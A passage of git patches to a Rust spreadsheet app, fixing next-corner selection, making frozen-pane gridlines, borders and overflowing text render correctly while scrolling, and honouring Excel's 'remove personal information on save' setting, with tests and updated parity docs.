@@ -140,9 +140,14 @@ pub(super) fn selection_next(s: &mut Session, p: &Json) -> Result { pub(super) fn selection_next_corner(s: &mut Session, _: &Json) -> Result { let d = s.doc_mut()?; let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) }; - // A corner in a merged cell lands on its top-left cell; one the sheet's protection doesn't - // let you select is skipped. - let stop = |c: CellRef| Some(sheet.merge_at(c).map_or(c, |m| m.start)).filter(|c| cell_selectable(&d.wb, sheet, *c)); + // A corner in a merged cell lands on its top-left cell. One in a hidden row or column, one + // the sheet's protection doesn't let you select, and a merged cell that starts outside the + // selected area are skipped. + let area = d.selection.current(); + let stop = |c: CellRef| { + Some(sheet.merge_at(c).map_or(c, |m| m.start)) + .filter(|c| area.contains(*c) && !sheet.is_row_hidden(c.row) && !sheet.is_col_hidden(c.col) && cell_selectable(&d.wb, sheet, *c)) + }; let mut next = d.selection.clone(); next.next_corner_by(stop); d.selection = next; diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 8e8c52b36..c9051252d 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -424,3 +424,22 @@ fn next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell() { s.execute("selection.set", json!({"range": "C2:D2", "active": "C2"})).unwrap(); assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C2"); } + +#[test] +fn next_corner_skips_hidden_corners_and_stays_inside_the_selected_area() { + // A corner in a hidden column is passed over, as keyboard moves pass over hidden cells. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.hideColumns", json!({"cols": "D:D"})).unwrap(); + s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap(); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B3"); + // Column C selected with B1:C1 merged: its top corner's merged cell starts in column B, + // outside the selection, so the active cell doesn't go there. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.mergeCells", json!({"range": "B1:C1"})).unwrap(); + s.execute("selection.set", json!({"cell": "C5"})).unwrap(); + s.execute("selection.column", json!({})).unwrap(); + let r = s.execute("selection.nextCorner", json!({})).unwrap(); + assert_eq!((r["active"].as_str(), r["selection"].as_str()), (Some("C1048576"), Some("C:C"))); +} From 17f733a81e7b4fd85dc0f99c7d492cc1919d21a1 Mon Sep 17 00:00:00 2001 From: adifiedio Date: Tue, 3 Nov 2026 12:55:11 +0530 Subject: [PATCH 093/167] Frozen panes: frozen columns keep their text, gridlines and borders while scrolling (#2544) The grid took a column's right edge to be where the next column starts, `x(col + 1)`. At the freeze line the next column is in the scrolled pane and moves with the scroll, so everything measured that way inside the frozen columns shrank as the sheet scrolled right: - text overflowing from a frozen cell was clipped at the scrolled column's edge, until only a character or two showed; - the frozen columns' gridlines stopped short, with a stray vertical line drawn inside them; - a merged range's borders under the last frozen column ended early; - the freeze handle measured the last frozen column wrongly when dropped while scrolled. Geo gains `x_end`/`y_end` (a column's or row's own far edge) and `same_col_pane`, and every such measurement uses them. Text overflows only into empty cells of its own pane. In Page Layout view the gridlines now stop at each page's last column instead of running into the margin. Fixes #2544 --- crates/ui-egui/src/grid/cell_paint.rs | 4 +- crates/ui-egui/src/grid/geo.rs | 18 +++-- crates/ui-egui/src/grid/interact.rs | 4 +- crates/ui-egui/src/grid/quadrant.rs | 31 ++++----- crates/ui-egui/tests/it/borders.rs | 37 +++++++++++ crates/ui-egui/tests/it/freeze_handles.rs | 16 +++++ .../ui-egui/tests/it/text_overflow_scroll.rs | 66 +++++++++++++++++++ docs/ui-parity.md | 3 +- 8 files changed, 153 insertions(+), 26 deletions(-) diff --git a/crates/ui-egui/src/grid/cell_paint.rs b/crates/ui-egui/src/grid/cell_paint.rs index 9c6a0b10b..187790e6c 100644 --- a/crates/ui-egui/src/grid/cell_paint.rs +++ b/crates/ui-egui/src/grid/cell_paint.rs @@ -194,7 +194,7 @@ pub(super) fn merged_edges(wb: &Workbook, si: usize, sh: &Sheet, geo: &Geo, area if sh.col_width(col) == 0.0 { continue; } - let (x0, x1) = (geo.x(sh, col), geo.x(sh, col.saturating_add(1))); + let (x0, x1) = (geo.x(sh, col), geo.x_end(sh, col)); let top = look(wb, si, sh, CellRef::new(m.start.row, col), cf).0.style.borders.top; let bottom = look(wb, si, sh, CellRef::new(m.end.row, col), cf).0.style.borders.bottom; out.push((top, [pos2(x0, rect.top()), pos2(x1, rect.top())])); @@ -205,7 +205,7 @@ pub(super) fn merged_edges(wb: &Workbook, si: usize, sh: &Sheet, geo: &Geo, area if sh.row_height(row) == 0.0 { continue; } - let (y0, y1) = (geo.y(sh, row), geo.y(sh, row.saturating_add(1))); + let (y0, y1) = (geo.y(sh, row), geo.y_end(sh, row)); let left = look(wb, si, sh, CellRef::new(row, m.start.col), cf).0.style.borders.left; let right = look(wb, si, sh, CellRef::new(row, m.end.col), cf).0.style.borders.right; out.push((left, [pos2(rect.left(), y0), pos2(rect.left(), y1)])); diff --git a/crates/ui-egui/src/grid/geo.rs b/crates/ui-egui/src/grid/geo.rs index 33b1b5461..a1005b32f 100644 --- a/crates/ui-egui/src/grid/geo.rs +++ b/crates/ui-egui/src/grid/geo.rs @@ -158,11 +158,21 @@ impl Geo { self.cells.top() + self.frozen_h + (self.ri.start(row) as f32 - self.ri.start(self.fr) as f32 - self.scroll.y) * self.z } } + /// Screen x of `col`'s right edge. Not `x(col + 1)`: across the freeze line (and between + /// pages) the next column is laid out elsewhere (#2544). + pub fn x_end(&self, sh: &Sheet, col: u32) -> f32 { + self.x(sh, col) + sh.col_width(col) * self.z + } + /// Screen y of `row`'s bottom edge (see `x_end`). + pub fn y_end(&self, sh: &Sheet, row: u32) -> f32 { + self.y(sh, row) + sh.row_height(row) * self.z + } + /// Columns `a` and `b` are on the same side of the freeze line, so they scroll together. + pub fn same_col_pane(&self, a: u32, b: u32) -> bool { + (a < self.fc) == (b < self.fc) + } pub fn cell_rect(&self, sh: &Sheet, c: CellRef) -> Rect { - Rect::from_min_max( - pos2(self.x(sh, c.col), self.y(sh, c.row)), - pos2(self.x(sh, c.col) + sh.col_width(c.col) * self.z, self.y(sh, c.row) + sh.row_height(c.row) * self.z), - ) + Rect::from_min_max(pos2(self.x(sh, c.col), self.y(sh, c.row)), pos2(self.x_end(sh, c.col), self.y_end(sh, c.row))) } pub fn range_rect(&self, sh: &Sheet, r: RangeRef) -> Rect { let a = self.cell_rect(sh, r.start); diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 5de25fd53..fc60e0626 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -891,7 +891,7 @@ fn freeze_boundary(geo: &Geo, sh: &Sheet, p: Pos2, cols: bool) -> u32 { return 0; } let c = geo.col_at(sh, p.x); - let (l, r) = (geo.x(sh, c), geo.x(sh, c.saturating_add(1).min(MAX_COLS - 1))); + let (l, r) = (geo.x(sh, c), geo.x_end(sh, c)); let b = if p.x - l > r - p.x { c.saturating_add(1) } else { c }; let room = geo.ci.at((((geo.cells.width() - 40.0) / geo.z).max(0.0)) as f64); b.min(room).min(MAX_COLS - 1) @@ -900,7 +900,7 @@ fn freeze_boundary(geo: &Geo, sh: &Sheet, p: Pos2, cols: bool) -> u32 { return 0; } let rr = geo.row_at(sh, p.y); - let (t, b2) = (geo.y(sh, rr), geo.y(sh, rr.saturating_add(1).min(MAX_ROWS - 1))); + let (t, b2) = (geo.y(sh, rr), geo.y_end(sh, rr)); let b = if p.y - t > b2 - p.y { rr.saturating_add(1) } else { rr }; let room = geo.ri.at((((geo.cells.height() - 40.0) / geo.z).max(0.0)) as f64); b.min(room).min(MAX_ROWS - 1) diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 554bdcfdd..9c5712da7 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -142,21 +142,17 @@ fn paint_gridlines(q: &QuadrantPaint<'_>) { if sh.show_gridlines { let stroke = Stroke::new(1.0, t.gridline); let top = geo.y(sh, r0); - let bottom = geo.y(sh, r1 + 1); + let bottom = geo.y_end(sh, r1); let left = geo.x(sh, c0); - let right = geo.x(sh, c1 + 1); - for c in c0..=c1 + 1 { - if c <= c1 && sh.col_width(c) == 0.0 { - continue; - } - let x = geo.x(sh, c).round() - 0.5; + let right = geo.x_end(sh, c1); + let xs = (c0..=c1).filter(|&c| sh.col_width(c) > 0.0).map(|c| geo.x(sh, c)).chain([right]); + for x in xs { + let x = x.round() - 0.5; p.line_segment([pos2(x, top), pos2(x, bottom)], stroke); } - for r in r0..=r1 + 1 { - if r <= r1 && sh.row_height(r) == 0.0 { - continue; - } - let y = geo.y(sh, r).round() - 0.5; + let ys = (r0..=r1).filter(|&r| sh.row_height(r) > 0.0).map(|r| geo.y(sh, r)).chain([bottom]); + for y in ys { + let y = y.round() - 0.5; p.line_segment([pos2(left, y), pos2(right, y)], stroke); } } @@ -224,7 +220,6 @@ fn outside_text_cells(q: &mut QuadrantPaint<'_>, merges: &[RangeRef]) -> Vec<(Ce // Text cells just outside the quadrant whose text may overflow into it: the nearest non-empty // cell left of `c0` and right of `c1` in each row (within the same frozen / scrolled pane). let mut outside: Vec<(CellRef, Rect, Look, Option)> = Vec::new(); - let same_pane = |col: u32| (col < geo.fc) == (c0 < geo.fc); for r in r0..=r1 { if sh.row_height(r) == 0.0 { continue; @@ -232,7 +227,7 @@ fn outside_text_cells(q: &mut QuadrantPaint<'_>, merges: &[RangeRef]) -> Vec<(Ce let left = (c0.saturating_sub(20)..c0).rev().map(|col| CellRef::new(r, col)).find(|&n| !empty_ok(n)); let right = (c1.saturating_add(1)..=c1.saturating_add(20).min(MAX_COLS - 1)).map(|col| CellRef::new(r, col)).find(|&n| !empty_ok(n)); for n in [left, right].into_iter().flatten() { - if same_pane(n.col) && sh.col_width(n.col) > 0.0 && in_merge(n).is_none() { + if geo.same_col_pane(n.col, c0) && sh.col_width(n.col) > 0.0 && in_merge(n).is_none() { let (lk, cfl) = look(wb, si, sh, n, cf); outside.push((n, geo.cell_rect(sh, n), lk, cfl)); } @@ -333,7 +328,9 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option, painted: &(CellRef, Rect, Look, Option c.col { - right = geo.x(sh, across_end + 1); + right = geo.x_end(sh, across_end); } if matches!(halign, HAlign::Left | HAlign::Center | HAlign::Justify) { let mut cc = c.col + 1; while right - rect.left() < w + 2.0 * pad && cc < MAX_COLS && empty_ok(CellRef::new(c.row, cc)) && cc <= c1 + 20 { - right = geo.x(sh, cc + 1); + right = geo.x_end(sh, cc); cc += 1; } } diff --git a/crates/ui-egui/tests/it/borders.rs b/crates/ui-egui/tests/it/borders.rs index a9f203012..c0213ed92 100644 --- a/crates/ui-egui/tests/it/borders.rs +++ b/crates/ui-egui/tests/it/borders.rs @@ -160,3 +160,40 @@ fn merged_range_draws_the_outline_from_its_edge_cells() { assert_eq!(ys.iter().filter(|y| (**y - max_y).abs() < 0.5).count(), 4, "bottom edge"); assert!(max_x - min_x > 100.0 && max_y - min_y > 40.0, "the outline spans the whole merged area"); } + +/// #2544: a merged range in frozen columns keeps its whole outline while the others scroll: the +/// bottom edge under its last column ends at that column's own right edge, the freeze line. +#[test] +fn frozen_merged_range_keeps_its_outline_when_scrolled() { + let mut h = harness(); + h.state_mut().run("home.borders", json!({"range": "A2:B3", "preset": "thickOutside", "color": "#C81E1E"})).unwrap(); + h.state_mut().run("home.mergeCells", json!({"range": "A2:B3"})).unwrap(); + h.state_mut().run("view.freezePanes", json!({"cell": "C1"})).unwrap(); + h.state_mut().run("selection.set", json!({"range": "H10"})).unwrap(); + h.state_mut().view_mut().unwrap().scroll.x = 300.0; + h.run_steps(6); + let freeze_x = { + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = gridcraft_ui_egui::grid::Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + geo.cells.left() + geo.frozen_w + }; + let red = Color32::from_rgb(0xC8, 0x1E, 0x1E); + let right_ends: Vec = h + .output() + .shapes + .iter() + .filter_map(|shape| match &shape.shape { + Shape::LineSegment { points, stroke } if stroke.color == red && (points[0].y - points[1].y).abs() < 0.5 => { + Some(points[0].x.max(points[1].x)) + } + _ => None, + }) + .collect(); + assert_eq!(right_ends.len(), 4, "top and bottom edges, one segment per column: {right_ends:?}"); + assert_eq!( + right_ends.iter().filter(|x| (**x - freeze_x).abs() < 1.0).count(), + 2, + "B's segments end at the freeze line: {right_ends:?} vs {freeze_x}" + ); +} diff --git a/crates/ui-egui/tests/it/freeze_handles.rs b/crates/ui-egui/tests/it/freeze_handles.rs index 7bcc81d1a..e3ccf8c65 100644 --- a/crates/ui-egui/tests/it/freeze_handles.rs +++ b/crates/ui-egui/tests/it/freeze_handles.rs @@ -66,3 +66,19 @@ fn dragging_the_handles_freezes_moves_and_unfreezes() { drag(&mut h, rows.center(), pos2(rows.center().x, g.cells.top() - 5.0)); assert_eq!(freeze(&h), None); } + +/// The last frozen column ends at the freeze line however far the other columns scroll, while +/// the next column's left edge moves with the scroll (#2544). +#[test] +fn last_frozen_column_ends_at_the_freeze_line_when_scrolled() { + let mut h = harness(); + h.state_mut().run("view.freezePanes", serde_json::json!({"cell": "C3"})).unwrap(); + h.state_mut().view_mut().unwrap().scroll = egui::vec2(300.0, 200.0); + h.run_steps(2); + let g = geo(&h); + let sh = h.state().session.active().unwrap().wb.active().unwrap().clone(); + let split = g.cells.min + egui::vec2(g.frozen_w, g.frozen_h); + assert!((g.x_end(&sh, 1) - split.x).abs() < 0.01 && (g.y_end(&sh, 1) - split.y).abs() < 0.01); + assert!(g.x(&sh, 2) < split.x && g.y(&sh, 2) < split.y, "C and row 3 are scrolled under the frozen panes"); + assert!(g.same_col_pane(0, 1) && g.same_col_pane(2, 9) && !g.same_col_pane(1, 2)); +} diff --git a/crates/ui-egui/tests/it/text_overflow_scroll.rs b/crates/ui-egui/tests/it/text_overflow_scroll.rs index 8756666db..076478e52 100644 --- a/crates/ui-egui/tests/it/text_overflow_scroll.rs +++ b/crates/ui-egui/tests/it/text_overflow_scroll.rs @@ -390,3 +390,69 @@ fn wrapped_text_clipping_survives_partial_vertical_scroll() { clip={clip:?}, expected={expected_bottom:.2}" ); } + +/// Issue #2544: text in a frozen column keeps its whole cell while the other columns scroll. +#[test] +fn frozen_column_text_keeps_its_cell_when_scrolled() { + let mut h = harness(|s| { + s.execute("cell.set", json!({"cell": "A1", "input": LEFT})).unwrap(); + s.execute("cell.set", json!({"cell": "C1", "input": "v"})).unwrap(); + s.execute("view.freezeFirstColumn", json!({})).unwrap(); + }); + for col in [1, 2, 3, 8] { + scroll_to_col(&mut h, col); + let a1 = cell_rect(&h, "A1"); + let clips = text_clips(&h, LEFT); + assert_eq!(clips.len(), 1, "A1 is drawn once: {clips:?}"); + assert!( + (clips[0].left() - a1.left()).abs() <= 0.5 && (clips[0].right() - a1.right()).abs() <= 0.5, + "A1's text spans A1 at column {col}: {clips:?} vs {a1:?}" + ); + } +} + +/// Issue #2544: with two frozen columns, A1's text keeps overflowing across the whole of empty B1. +#[test] +fn frozen_text_overflows_to_the_freeze_line_when_scrolled() { + let mut h = harness(|s| { + s.execute("cell.set", json!({"cell": "A1", "input": LEFT})).unwrap(); + s.execute("view.freezePanes", json!({"cell": "C1"})).unwrap(); + }); + for col in [2, 3, 4, 10] { + scroll_to_col(&mut h, col); + let (a1, b1) = (cell_rect(&h, "A1"), cell_rect(&h, "B1")); + let clips = text_clips(&h, LEFT); + assert_eq!(clips.len(), 1, "A1 is drawn once: {clips:?}"); + assert!( + (clips[0].left() - a1.left()).abs() <= 0.5 && (clips[0].right() - b1.right()).abs() <= 0.5, + "A1's text spans A1:B1 at column {col}: {clips:?} vs {a1:?} {b1:?}" + ); + } +} + +/// Issue #2544: the frozen columns' gridlines reach the freeze line, and none is drawn inside +/// them at a scrolled column's edge. +#[test] +fn frozen_column_gridlines_stay_put_when_scrolled() { + let mut h = harness(|s| { + s.execute("view.freezePanes", json!({"cell": "C1"})).unwrap(); + }); + scroll_to_col(&mut h, 6); + let (a5, b5) = (cell_rect(&h, "A5"), cell_rect(&h, "B5")); + let frozen = |s: &egui::epaint::ClippedShape| s.clip_rect.right() <= b5.right() + 0.5 && s.clip_rect.left() <= a5.left(); + let segments: Vec<[egui::Pos2; 2]> = h + .output() + .shapes + .iter() + .filter(|s| frozen(s)) + .filter_map(|s| match &s.shape { + Shape::LineSegment { points, .. } => Some(*points), + _ => None, + }) + .collect(); + let row5 = segments.iter().find(|p| (p[0].y - (a5.top() - 0.5).round()).abs() <= 1.0 && p[0].y == p[1].y); + assert!(row5.is_some_and(|p| p[1].x >= b5.right() - 1.0), "row 5's gridline reaches the freeze line: {row5:?} vs {b5:?}"); + let verticals: Vec = segments.iter().filter(|p| p[0].x == p[1].x && p[0].y < b5.bottom()).map(|p| p[0].x).collect(); + let expected = [a5.left(), a5.right(), b5.right()].map(|x| x.round() - 0.5); + assert!(verticals.iter().all(|x| expected.iter().any(|e| (x - e).abs() <= 0.5)), "only A and B's edges: {verticals:?} vs {expected:?}"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..213ce49a3 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (frozen columns keep their text, gridlines and merged borders whole while the sheet scrolls (#2544); earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Frozen panes: text in frozen columns overflows only into its own pane and keeps its whole width while the sheet scrolls; frozen gridlines and merged-cell borders reach the freeze line, and the freeze handle measures the last frozen column itself (#2544). Page Layout view gridlines stop at each page's last column | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From f0557ec4437398b55d684fbd9228fca1f66736bc Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:25:29 -0600 Subject: [PATCH 094/167] #3089: keep "remove personal information on save" and honour it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Excel's per-workbook privacy setting (Trust Center › Privacy Options › Remove personal information from file properties on save, set by the Document Inspector) is saved as , and while it is on Excel leaves the author and company empty on save. GridCraft dropped the attribute, so a cleaned workbook came back with the setting off, and it wrote the author and company back. Workbook.remove_personal_info now keeps the setting (read and written as filterPrivacy), and while it is on the writer leaves dc:creator and Company out. Other properties are written as before. Note authors and lastModifiedBy are the rest of the issue (the latter overlaps #881). Co-Authored-By: Claude Opus 5.5 --- crates/model/src/workbook.rs | 6 ++++++ crates/xlsx/src/read.rs | 1 + crates/xlsx/src/tests/roundtrip.rs | 27 +++++++++++++++++++++++++++ crates/xlsx/src/write.rs | 12 +++++++++--- docs/file-format-parity.md | 3 ++- 5 files changed, 45 insertions(+), 4 deletions(-) diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 2d16b46b5..dbd011427 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -200,6 +200,11 @@ pub struct Workbook { pub calc: CalcSettings, #[serde(default, skip_serializing_if = "is_all")] pub show_objects: ShowObjects, + /// Trust Center › Privacy Options › "Remove personal information from file properties on save" + /// (``): kept with the file, and while it is on the author and + /// company are left out of what GridCraft saves, as Excel leaves them empty. + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub remove_personal_info: bool, /// Read and set with [`Workbook::active_sheet`] and [`Workbook::set_active_sheet`]. pub active_sheet: ActiveSheet, /// The workbook window's display settings (``), kept across an open + save. @@ -338,6 +343,7 @@ impl Workbook { date_system: DateSystem::D1900, calc: CalcSettings::default(), show_objects: ShowObjects::All, + remove_personal_info: false, active_sheet: ActiveSheet::default(), view: WorkbookView::default(), props: DocProps::default(), diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 3cc2a6655..6c43feb31 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -200,6 +200,7 @@ fn read_workbook_properties(cx: &mut Ctx<'_>, wb: &mut Workbook, xml: &El) { if p.flag("date1904", false) { cx.date_system = DateSystem::D1904; } + wb.remove_personal_info = p.flag("filterPrivacy", false); wb.show_objects = match p.attr("showObjects") { Some("none") => ShowObjects::None, Some("placeholders") => ShowObjects::Placeholders, diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 2bdba21b8..72ce434be 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -1696,3 +1696,30 @@ fn generated_rule_formulas_use_the_top_left_cell_of_every_area() { z.by_name("xl/worksheets/sheet1.xml").unwrap().read_to_string(&mut xml).unwrap(); assert!(xml.contains("NOT(ISERROR(SEARCH(\"x\",C2)))"), "{xml}"); } + +#[test] +fn remove_personal_information_is_kept_and_honoured() { + // #3089: `` was dropped, so a workbook cleaned of personal + // information came back with it switched off, and GridCraft wrote the author and company back. + let bytes = super::minimal("", &[], "", r#""#); + let (mut wb, _) = read_xlsx(&bytes).unwrap(); + assert!(wb.remove_personal_info); + wb.props.author = "Jane Example".into(); + wb.props.company = "Example Co".into(); + wb.props.title = "Budget".into(); + let saved = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let book = pkg.read_xml("xl/workbook.xml").unwrap().unwrap(); + assert_eq!(book.child("workbookPr").and_then(|p| p.attr("filterPrivacy")), Some("1")); + let core = String::from_utf8(pkg.read("docProps/core.xml").unwrap().unwrap()).unwrap(); + let app = String::from_utf8(pkg.read("docProps/app.xml").unwrap().unwrap()).unwrap(); + assert!(!core.contains("Jane Example") && !app.contains("Example Co"), "{core}\n{app}"); + assert!(core.contains("Budget"), "other properties stay: {core}"); + // Off (the default), nothing changes. + wb.remove_personal_info = false; + let saved = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let book = pkg.read_xml("xl/workbook.xml").unwrap().unwrap(); + assert_eq!(book.child("workbookPr").and_then(|p| p.attr("filterPrivacy")), None); + assert!(String::from_utf8(pkg.read("docProps/core.xml").unwrap().unwrap()).unwrap().contains("Jane Example")); +} diff --git a/crates/xlsx/src/write.rs b/crates/xlsx/src/write.rs index 2c1e8f60f..c53776cb6 100644 --- a/crates/xlsx/src/write.rs +++ b/crates/xlsx/src/write.rs @@ -293,6 +293,9 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) if wb.date_system == gridcraft_core::DateSystem::D1904 { w.push_str(" date1904=\"1\""); } + if wb.remove_personal_info { + w.push_str(" filterPrivacy=\"1\""); + } w.push_str("/>"); if wb.protected_structure { let pw = wb.structure_password.as_ref().map(|h| crate::sheet_write::password_attrs(h, "workbook")).unwrap_or_default(); @@ -399,13 +402,16 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) // Document properties. let p = &wb.props; + // "Remove personal information on save": the author and company are not saved (#3089). + let private = |v: &String| if wb.remove_personal_info { String::new() } else { v.clone() }; + let (author, company) = (private(&p.author), private(&p.company)); let mut core = format!( "{XML_DECL}" ); for (tag, v) in [ ("dc:title", &p.title), ("dc:subject", &p.subject), - ("dc:creator", &p.author), + ("dc:creator", &author), ("cp:keywords", &p.keywords), ("dc:description", &p.description), ] { @@ -417,8 +423,8 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) out.part("docProps/core.xml", Some("application/vnd.openxmlformats-package.core-properties+xml"), core.into_bytes()); let mut app = String::from(XML_DECL); app.push_str("GridCraft"); - if !p.company.is_empty() { - let _ = write!(app, "{}", esc(&p.company)); + if !company.is_empty() { + let _ = write!(app, "{}", esc(&company)); } app.push_str(""); out.part("docProps/app.xml", Some("application/vnd.openxmlformats-officedocument.extended-properties+xml"), app.into_bytes()); diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..51c0ad309 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-03 · **Change:** minor (`workbookPr filterPrivacy` 